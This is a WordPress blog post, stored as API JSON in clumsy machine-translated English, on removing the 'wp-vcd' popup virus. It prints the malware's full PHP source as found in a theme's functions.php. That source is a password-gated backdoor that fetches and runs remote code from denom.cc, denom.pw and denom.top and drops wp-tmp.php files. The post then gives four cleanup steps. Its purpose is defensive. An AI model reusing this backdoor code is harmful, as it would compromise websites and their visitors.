We will teach you how to remove WordPress popup virus ($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ) It may happen that sometimes when you open your website or others, a pop The app will be displayed and it will be closed very quickly or redirected, then stay with us to remove this virus from your WordPress site.
\nIf you see a file called wp-vcd.php, 100% of your site has been hacked, change your input information as soon as possible.
\nUsually, this virus is mostly found in null formats and plugins.
\nIt is better to take a backup of your template before doing the following.
\nThe virus sits in the function.php file of your template as follows.<\/p>\n
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '429acb1c29e4800452a3538a8f91edd0'))\r\n{\r\n$div_code_name=\"wp_vcd\";\r\nswitch ($_REQUEST['action'])\r\n{\r\ncase 'change_domain';\r\nif (isset($_REQUEST['newdomain']))\r\n{\r\nif (!empty($_REQUEST['newdomain']))\r\n{\r\nif ($file = @file_get_contents(__FILE__))\r\n{\r\nif(preg_match_all('\/\\$tmpcontent = @file_get_contents\\(\"https:\\\/\\\/(.*)\\\/code\\.php\/i',$file,$matcholddomain))\r\n{\r\n$file = preg_replace('\/'.$matcholddomain[1][0].'\/i',$_REQUEST['newdomain'], $file);\r\n@file_put_contents(__FILE__, $file);\r\nprint \"true\";\r\n}\r\n}\r\n}\r\n}\r\nbreak;\r\ncase 'change_code';\r\nif (isset($_REQUEST['newcode']))\r\n{\r\nif (!empty($_REQUEST['newcode']))\r\n{\r\nif ($file = @file_get_contents(__FILE__))\r\n{\r\nif(preg_match_all('\/\\\/\\\/\\$start_wp_theme_tmp([\\s\\S]*)\\\/\\\/\\$end_wp_theme_tmp\/i',$file,$matcholdcode))\r\n{\r\n$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);\r\n@file_put_contents(__FILE__, $file);\r\nprint \"true\";\r\n}\r\n}\r\n}\r\n}\r\nbreak;\r\ndefault: print \"ERROR_WP_ACTION WP_V_CD WP_CD\";\r\n}\r\ndie(\"\");\r\n}\r\n$div_code_name = \"wp_vcd\";\r\n$funcfile = __FILE__;\r\nif(!function_exists('theme_temp_setup')) {\r\n$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];\r\nif (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {\r\nfunction file_get_contents_tcurl($url)\r\n{\r\n$ch = curl_init();\r\ncurl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt($ch, CURLOPT_URL, $url);\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);\r\n$data = curl_exec($ch);\r\ncurl_close($ch);\r\nreturn $data;\r\n}\r\nfunction theme_temp_setup($phpCode)\r\n{\r\n$tmpfname = tempnam(sys_get_temp_dir(), \"theme_temp_setup\");\r\n$handle = fopen($tmpfname, \"w+\");\r\nif( fwrite($handle, \"<?php\\n\" . $phpCode))\r\n{\r\n}\r\nelse\r\n{\r\n$tmpfname = tempnam('.\/', \"theme_temp_setup\");\r\n$handle = fopen($tmpfname, \"w+\");\r\nfwrite($handle, \"<?php\\n\" . $phpCode);\r\n}\r\nfclose($handle);\r\ninclude $tmpfname;\r\nunlink($tmpfname);\r\nreturn get_defined_vars();\r\n}\r\n$wp_auth_key='70daf53a6c8b84ec5c45e84e576ae4d2';\r\nif (($tmpcontent = @file_get_contents(\"https:\/\/www.denom.cc\/code.php\") OR $tmpcontent = @file_get_contents_tcurl(\"https:\/\/www.denom.cc\/code.php\")) AND stripos($tmpcontent, $wp_auth_key) !== false) {\r\nif (stripos($tmpcontent, $wp_auth_key) !== false) {\r\nextract(theme_temp_setup($tmpcontent));\r\n@file_put_contents(ABSPATH . 'wp-includes\/wp-tmp.php', $tmpcontent);\r\nif (!file_exists(ABSPATH . 'wp-includes\/wp-tmp.php')) {\r\n@file_put_contents(get_template_directory() . '\/wp-tmp.php', $tmpcontent);\r\nif (!file_exists(get_template_directory() . '\/wp-tmp.php')) {\r\n@file_put_contents('wp-tmp.php', $tmpcontent);\r\n}\r\n}\r\n}\r\n}\r\nelseif ($tmpcontent = @file_get_contents(\"https:\/\/www.denom.pw\/code.php\") AND stripos($tmpcontent, $wp_auth_key) !== false ) {\r\nif (stripos($tmpcontent, $wp_auth_key) !== false) {\r\nextract(theme_temp_setup($tmpcontent));\r\n@file_put_contents(ABSPATH . 'wp-includes\/wp-tmp.php', $tmpcontent);\r\nif (!file_exists(ABSPATH . 'wp-includes\/wp-tmp.php')) {\r\n@file_put_contents(get_template_directory() . '\/wp-tmp.php', $tmpcontent);\r\nif (!file_exists(get_template_directory() . '\/wp-tmp.php')) {\r\n@file_put_contents('wp-tmp.php', $tmpcontent);\r\n}\r\n}\r\n}\r\n} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes\/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {\r\nextract(theme_temp_setup($tmpcontent));\r\n} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '\/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {\r\nextract(theme_temp_setup($tmpcontent));\r\n} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {\r\nextract(theme_temp_setup($tmpcontent));\r\n} elseif (($tmpcontent = @file_get_contents(\"https:\/\/www.denom.top\/code.php\") OR $tmpcontent = @file_get_contents_tcurl(\"https:\/\/www.denom.top\/code.php\")) AND stripos($tmpcontent, $wp_auth_key) !== false) {\r\nextract(theme_temp_setup($tmpcontent));\r\n}\r\n}\r\n}\r\n\/\/wp_tmp\r\n\/\/$end_wp_theme_tmp<\/pre>\nYou have to do 4 things.
\nThe first step is to change the password of your WordPress site
\nThe second step is to enter the wp-include folder in WordPress and delete two files named wp-vcd.php and class.wp.php.
\nThe third step is to enter the wp-include folder and open the post.php file. If there is a word like wp-vcd at the beginning of the file, delete that function. (In some cases, it has been seen that this file is empty, but check it for sure)
\nStep 4: Open the functions.php file related to your template and the codes we put above are definitely visible, delete them at the beginning of your file and that’s it.<\/p>\n","protected":false},"excerpt":{"rendered":"
We will teach you how to remove WordPress popup virus ($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ) It may happen that sometimes when you open your website or others, a pop The app will be displayed and it will be closed very quickly or redirected, then stay with us to remove this virus from your WordPress site. […]<\/p>\n","protected":false},"author":4,"featured_media":4942,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-10100","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry"],"_links":{"self":[{"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/posts\/10100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/comments?post=10100"}],"version-history":[{"count":0,"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/posts\/10100\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/media\/4942"}],"wp:attachment":[{"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/media?parent=10100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/categories?post=10100"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/milmit.net\/en\/wp-json\/wp\/v2\/tags?post=10100"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}